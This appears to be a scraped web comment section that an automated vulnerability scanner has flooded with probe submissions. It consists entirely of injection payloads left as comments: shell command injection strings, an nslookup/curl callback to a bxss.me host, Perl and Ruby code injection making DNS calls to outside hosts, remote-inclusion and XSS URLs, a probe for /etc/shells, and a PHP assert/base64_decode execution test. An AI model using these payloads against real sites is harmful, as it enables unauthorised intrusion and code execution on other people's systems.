fKxorhrg commented on December 11th, 2023 at 2:53 PM
555

echo pizbjn$()\ vcthlj\nz^xyu||a #' &echo pizbjn$()\ vcthlj\nz^xyu||a #|" &echo pizbjn$()\ vcthlj\nz^xyu||a # commented on December 11th, 2023 at 2:53 PM
555

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg commented on December 11th, 2023 at 2:53 PM
555

&echo ytdkuk$()\ xvipoh\nz^xyu||a #' &echo ytdkuk$()\ xvipoh\nz^xyu||a #|" &echo ytdkuk$()\ xvipoh\nz^xyu||a # commented on December 11th, 2023 at 2:53 PM
555

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg commented on December 11th, 2023 at 2:53 PM
555

Http://bxss.me/t/fit.txt commented on December 11th, 2023 at 2:53 PM
555

http://bxss.me/t/fit.txt?.jpg commented on December 11th, 2023 at 2:53 PM
555

fKxorhrg commented on December 11th, 2023 at 2:53 PM
555

fKxorhrg&echo tqjiqf$()\ rcjfea\nz^xyu||a #' &echo tqjiqf$()\ rcjfea\nz^xyu||a #|" &echo tqjiqf$()\ rcjfea\nz^xyu||a # commented on December 11th, 2023 at 2:53 PM
555

/etc/shells commented on December 11th, 2023 at 2:53 PM
555

fKxorhrg commented on December 11th, 2023 at 2:54 PM
555

fKxorhrg commented on December 11th, 2023 at 2:54 PM
'.gethostbyname(lc('hitzm'.'kookemmu52f03.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(68).chr(97).chr(66).'

^(#$!@#$)(()))****** commented on December 11th, 2023 at 2:54 PM
555

fKxorhrg commented on December 11th, 2023 at 2:54 PM
".gethostbyname(lc("hitlb"."lchuolki1493c.bxss.me."))."A".chr(67).chr(hex("58")).chr(98).chr(75).chr(101).chr(76)."

|echo jdzeha$()\ bffsfp\nz^xyu||a #' |echo jdzeha$()\ bffsfp\nz^xyu||a #|" |echo jdzeha$()\ bffsfp\nz^xyu||a # commented on December 11th, 2023 at 2:54 PM
555

fKxorhrg commented on December 11th, 2023 at 2:54 PM
555

HttP://bxss.me/t/xss.html?%00 commented on December 11th, 2023 at 2:54 PM
555

bxss.me commented on December 11th, 2023 at 2:54 PM
555

fKxorhrg commented on December 11th, 2023 at 2:54 PM
555

"+"A".concat(70-3).concat(22*4).concat(98).concat(89).concat(107).concat(69)+(require"socket" Socket.gethostbyname("hitnu"+"zrbosxkyd74e5.bxss.me.")[3].to_s)+" commented on December 11th, 2023 at 2:54 PM
555

fKxorhrg commented on December 11th, 2023 at 2:54 PM
555

'+'A'.concat(70-3).concat(22*4).concat(116).concat(71).concat(101).concat(73)+(require'socket' Socket.gethostbyname('hitxv'+'ibyyhuuv5925a.bxss.me.')[3].to_s)+' commented on December 11th, 2023 at 2:54 PM
555

fKxorhrg commented on December 11th, 2023 at 2:54 PM
"+"A".concat(70-3).concat(22*4).concat(120).concat(84).concat(110).concat(90)+(require"socket"
Socket.gethostbyname("hitnv"+"asxmojww67cbc.bxss.me.")[3].to_s)+"

fKxorhrg commented on December 11th, 2023 at 2:54 PM
555

fKxorhrg commented on December 11th, 2023 at 2:54 PM
)

fKxorhrg|echo dddaek$()\ itfmxi\nz^xyu||a #' |echo dddaek$()\ itfmxi\nz^xyu||a #|" |echo dddaek$()\ itfmxi\nz^xyu||a # commented on December 11th, 2023 at 2:54 PM
555

bxss.me/t/xss.html?%00 commented on December 11th, 2023 at 2:54 PM
555

fKxorhrg commented on December 11th, 2023 at 2:54 PM
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

fKxorhrg commented on December 11th, 2023 at 2:54 PM
555

fKxorhrg commented on December 11th, 2023 at 2:54 PM
HttP://bxss.me/t/xss.html?%00

fKxorhrg commented on December 11th, 2023 at 2:54 PM
555

fKxorhrg commented on December 11th, 2023 at 2:54 PM
'+'A'.concat(70-3).concat(22*4).concat(102).concat(83).concat(117).concat(84)+(require'socket'
Socket.gethostbyname('hitdq'+'wetiuesn55029.bxss.me.')[3].to_s)+'

'" commented on December 11th, 2023 at 2:54 PM
555

fKxorhrg commented on December 11th, 2023 at 2:54 PM
!(()&&!|*|*|

(nslookup -q=cname hitigtzydkqth44887.bxss.me||curl hitigtzydkqth44887.bxss.me)) commented on December 11th, 2023 at 2:54 PM
555

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7')); commented on December 11th, 2023 at 2:55 PM
555